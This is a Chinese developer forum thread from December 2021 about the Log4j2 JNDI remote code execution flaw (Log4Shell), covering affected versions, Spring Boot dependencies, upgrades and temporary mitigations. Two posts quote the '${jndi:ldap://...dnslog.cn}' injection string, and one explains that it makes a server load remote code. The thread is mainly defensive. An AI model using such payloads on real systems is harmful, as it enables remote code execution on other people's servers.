没想到继 fastjson 之后还有这一出.
1
Jooooooooo OP |
2
lix7 2021-12-10 00:26:32 +08:00
点完早饭外卖被电话叫起来了修了...
|
3
Divinook 2021-12-10 01:42:28 +08:00
log4j 有这个问题吗?
|
4
ericgui 2021-12-10 01:49:55 +08:00
有什么 log4j2 的替代品吗
|
5
zxCoder 2021-12-10 08:44:57 +08:00
不懂信息安全。。。怎么一个 jar 包还能被攻击啊
|
6
Imindzzz 2021-12-10 08:45:57 +08:00
作为脚本小子,我只关心 exp
|
7
justs0o 2021-12-10 09:21:29 +08:00 1
Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2 、Apache Solr 、Apache Druid 、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
漏洞评级 Apache Log4j 远程代码执行漏洞 严重 影响版本 Apache Log4j 2.x <= 2.14.1 安全建议 1. 升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1 2. 升级已知受影响的应用及组件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid |
9
wanguorui123 2021-12-10 10:07:37 +08:00
|
10
MonkeyJon 2021-12-10 10:30:49 +08:00
用户只需排查 Java 应用是否引入 log4j-api , log4j-core 两个 jar 。若存在应用使用,极大可能会受到影响。
没有这俩,明天可以休息啦 |
11
play78 2021-12-10 10:39:53 +08:00
springboot -> spring-boot-starter -> spring-boot-starter-logging -> log4j-to-slf4j -> log4j-api 也就是说所有 springboot 项目都会有影响?
|
12
aoizz 2021-12-10 10:41:32 +08:00
@MonkeyJon #10 看 idea 外部库里面有 log4j-api ,但是系统用的是 logback,pom 文件也没有引入 log4j,怎么查看是哪个依赖带的?
|
13
jinzhongyuan 2021-12-10 10:52:57 +08:00
哪位彦祖讲一下,一个 jar 包怎么被攻击?
|
15
enrolls 2021-12-10 10:54:55 +08:00
想看的东西在这
|
16
enrolls 2021-12-10 10:54:59 +08:00
|
17
Vcccc 2021-12-10 10:55:36 +08:00
Apache log4j2 在 2.0 至 2.14.1 版本均受影响。 好像我们用的还是 1.x 的版本[doge]
|
18
learningman 2021-12-10 10:56:04 +08:00
@aoizz #12 你这不都把答案说出来了吗。。。。logback 依赖 log4j 啊
|
19
enrolls 2021-12-10 10:56:17 +08:00
|
20
arthas2234 2021-12-10 10:57:43 +08:00
打开 IDEA ,搜一下 log4j ,用的是 1.X 的版本,继续摸鱼
|
22
rayhy 2021-12-10 11:03:09 +08:00
@justs0o 最新消息: https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5A
Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本 |
24
dreamramon 2021-12-10 11:04:03 +08:00
加了环境变量了,不知道顶不顶得住。
|
25
Jwyt 2021-12-10 11:04:36 +08:00
@learningman 谁告诉你 logback 依赖 log4j 的?
|
26
ixx 2021-12-10 11:05:28 +08:00 8
@jinzhongyuan #13 通俗点说一下问题
一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数 如果前台传的是构造的参数如: ${jndi:ldap://xxxx.dnslog.cn/exp} exp 返回的是一个构造方法里执行 shell 代码的 class 文件 然后你设置的什么命令服务器接收到参数后就执行这个命令了 |
30
wbd31 2021-12-10 11:48:54 +08:00
@arthas2234 log4j1.x 版本也可能有问题
参考 https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126 |
33
RuzZ 2021-12-10 12:05:30 +08:00
|
34
RuzZ 2021-12-10 12:07:25 +08:00 1
@RuzZ 根据 quote 的内容,log4j1.x 不支持 lookup ,也找不到 JNDI 的相关引用,感觉是可以理解为 log4j 1.x 不受此次 bug 的影响
|
35
adamwhite 2021-12-10 12:14:00 +08:00
可以通过关闭日志暂时屏蔽问题么?
|
36
Lemeng 2021-12-10 12:43:33 +08:00
大厂加油
|
37
sadfQED2 2021-12-10 13:02:41 +08:00 via Android
哈哈哈,非 java boy 开心吃瓜
|
38
iold 2021-12-10 13:03:58 +08:00
@RuzZ #34 后续来了,1.x 也受影响。https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126
|
39
arthas2234 2021-12-10 14:05:58 +08:00
@wbd31 不会吧,现在蔓延到 1.x 了么,不过我负责的项目是在内网的,还可以观望一下
|
40
play78 2021-12-10 14:08:46 +08:00
@arthas2234 让网管在防火墙上把 ldap 协议禁止了。估计还可以继续苟。
|
41
xbchaonba 2021-12-10 14:34:36 +08:00
苹果云应为这个漏洞被搞了吗,一直登录不了
|
43
sha851092391 2021-12-10 14:37:06 +08:00
快速验证是否有这个问题: https://issues.apache.org/jira/browse/LOG4J2-3202
修复措施:直接升级到 2.15.0 版本 临时修复措施: 增加 log4j2.component.properties 配置文件,配置为 log4j2.formatMsgNoLookups=true |
44
yiywain 2021-12-10 14:45:18 +08:00
没有过哎
|
45
janda 2021-12-10 14:52:54 +08:00
用的 springboot 、也看了 mvn 仓库没有、这个咋更新
```pom <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency> ``` |
46
ivancai 2021-12-10 14:56:39 +08:00
是 log4j2 有问题还是 log4j 都有这个问题?
|
47
NULL2020 2021-12-10 15:02:25 +08:00
没人说说刚发布的版本怎么编译打包吗?
|
48
wbd31 2021-12-10 15:07:22 +08:00
@sha851092391 log4j2.formatMsgNoLookups 这个配置只有在 2.10.0 之后的版本才生效。
|
50
sagaxu 2021-12-10 15:31:57 +08:00 via Android
官方真急了,禁用了这个功能,把开关都去掉了,官网文档也找不到这个配置项了
|
51
issakchill 2021-12-10 16:11:28 +08:00
@NULL2020 我先用着 2.15.0 顶着 aliyun 库有
|
52
pocketz 2021-12-10 16:15:04 +08:00
|
53
windrun 2021-12-10 16:27:16 +08:00
|
54
janda 2021-12-10 16:31:59 +08:00
@janda
maven 更新: <!--Log4j--> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version> </dependency> |
55
deadofpeople 2021-12-10 16:35:12 +08:00
官网的 2.15.0 是 RC2 版本么
|
56
NULL2020 2021-12-10 16:36:13 +08:00
|
58
jamzhou 2021-12-10 17:08:50 +08:00
确定 log4j-api 也受影响吗,我这边通过尝试构建攻击参数,并未能复现注入攻击。
而 2.14.1 上,的确可以让记录日志的时候,注入远程执行。 |
59
BigDogWang 2021-12-10 18:03:12 +08:00
1.7 版本没事吧
|
60
a594195609 2021-12-10 18:05:26 +08:00
@NULL2020 你看错了吧?阿里云仓库里目前能搜得到的是非官方的,groupId 不一样的,大小都差很远,不敢用。
|
61
Imindzzz 2021-12-10 18:07:35 +08:00
${jndi:ldap://00pfh9.dnslog.cn}
|
63
lhwarthas 2021-12-10 18:44:13 +08:00
源码编译步骤:
1.准备 JDK8 & JDK11 & maven 2.配置环境变量 export JAVA_HOME_8_X64=jdk8 目录 export JAVA_HOME_11_X64=jdk11 目录 3.源码目录下执行 mvn package -Dmaven.test.skip=true -DtrimStackTrace=false -Dmaven.test.failure.ignore=true -Dsurefire.rerunFailingTestsCount=1 --global-toolchains .github/workflows/maven-toolchains.xml |
64
pocketz 2021-12-10 19:14:59 +08:00
@NULL2020
你报错信息是什么?我这边报错是远程 repo 里没有 log4j-api-java9 。 把源码里的 log4j-api-java9 添加到我本地的 repo 里,log4j-api 就编译成功了 |
65
donespeak 2021-12-10 20:02:25 +08:00
有人讲讲通过这个漏洞可以做什么样的吗?
|
66
whoosy 2021-12-10 20:23:34 +08:00
正在搞
|
68
yangyaofei 2021-12-10 20:55:00 +08:00 via Android
那个……如果是 linux 上,用一个很低的权限(只有 web 文件夹有读权限)的帐户运行程序,是不是就没事儿了?
|
71
wth4612 2021-12-10 21:14:19 +08:00
@deadofpeople 我比了下源码 2.15.0 应该就是 RC2 版
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2 |
72
codehz 2021-12-10 21:22:59 +08:00 via Android
|
73
SirCarol 2021-12-10 21:25:11 +08:00 via iPhone
今天修复了一天。
|
74
jamzhou 2021-12-10 21:34:25 +08:00
@sshang 我用的 2.14.1
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> |
75
movq 2021-12-10 21:52:59 +08:00 1
|
76
hallDrawnel 2021-12-10 23:20:07 +08:00
今天看隔壁修了一天,还好我们这边没 Java
|
77
ericFork 2021-12-10 23:42:43 +08:00
@hallDrawnel #76 依赖的基础设施如果有用到的话也一样要修的,比如 kafka, elasticsearch
|
78
hallDrawnel 2021-12-11 00:01:05 +08:00
@ericFork 是的,但是那个有其他团队负责修,我们只需要观察稳定性就行了
|
79
vincent956 2021-12-11 07:41:21 +08:00
@MonkeyJon springboot 自己引入的这个两个包,但是项目上没有使用,有影响吗
|
80
Kaiv2 2021-12-11 10:51:52 +08:00
高版本 JDK 不用太担心
com.sun.jndi.rmi.object.trustURLCodebase 这个参数没有设置为 true ,不会远程加载 class, 会抛出异常 |
81
ixx 2021-12-11 12:18:22 +08:00
@vincent956 #79 springboot 默认是没有影响的
|
82
wilsonsui 2021-12-13 10:14:58 +08:00 1
参考 https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot spring-boot-starter-logging 包中的 log4j-to-slf4j 与 log4j-api 不受漏洞影响,只有 log4j-core 受影响
|